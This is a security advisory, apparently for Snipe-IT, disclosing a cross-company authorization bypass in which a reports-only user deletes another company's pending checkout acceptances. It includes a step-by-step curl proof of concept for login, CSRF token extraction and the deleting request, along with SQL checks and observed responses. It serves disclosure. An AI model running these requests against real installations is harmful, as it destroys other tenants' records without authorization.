OSV 1.4.0 · github-reviewed · 修改于 2026-08-29 02:04
发布时间
2026-08-29 02:04
GitHub 审查时间
2026-08-29 02:04
NVD 发布时间
2026-07-11 04:16
源文件
advisories/github-reviewed/2026/08/GHSA-35cr-9hqq-p2mg/GHSA-35cr-9hqq-p2mg.json
A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.
The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.
The attacker needs:
reports.view permission.checkout_acceptances.id.The attacker does not need access to the asset/company associated with the target acceptance.
The delete action authorizes only report access, then deletes a pending acceptance by global ID:
$this->authorize('reports.view');
$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);
$acceptance->delete();
The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.
The target pending acceptance was identified as id=1.
snipe_sql "SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id
FROM checkout_acceptances ca
JOIN assets a ON a.id = ca.checkoutable_id
WHERE ca.id=$ACCEPTANCE_B_ID;"
Observed result:
{
"id": 1,
"checkoutable_id": 2,
"deleted_at": null,
"asset_tag": "LAB-B-42445107",
"company_id": 3
}
This shows the pending acceptance belongs to asset 2, which is in Company B.
The attacker account was reporter_a, assigned to Company A with only report viewing permission:
{
"id": 3,
"username": "reporter_a",
"company_id": 2,
"permissions": {
"reports.view": 1
}
}
Login as Company A reports user
curl -sS -c /tmp/snipe_cookie.txt "$BASE/login" -o /tmp/snipe_login.html
LOGIN_CSRF=$(grep -oP 'name="_token" value="\K[^"]+' /tmp/snipe_login.html)
curl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
-X POST "$BASE/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "_token=$LOGIN_CSRF" \
--data-urlencode "username=reporter_a" \
--data-urlencode "password=password"
Observed response:
Location: http://localhost:8000/
Fetch report CSRF token
curl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
"$BASE/reports/unaccepted_assets" \
-o /tmp/unaccepted.html \
-w "\nHTTP=%{http_code} URL=%{url_effective}\n"
CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)
echo "CSRF=$CSRF"
Observed result:
HTTP=200 URL=http://localhost:8000/reports/unaccepted_assets
CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU
Delete Company B acceptance as Company A reporter
curl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
-X POST "$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "_token=$CSRF" \
--data-urlencode "_method=DELETE"
Observed response:
HTTP/1.1 302 Found
Location: http://localhost:8000/reports/unaccepted_assets
Final state
snipe_sql "SELECT id, checkoutable_id, deleted_at
FROM checkout_acceptances
WHERE id=$ACCEPTANCE_B_ID;"
Observed result:
{
"id": 1,
"checkoutable_id": 2,
"deleted_at": "2026-06-12 04:30:00"
}
This confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset.
This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:
This is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.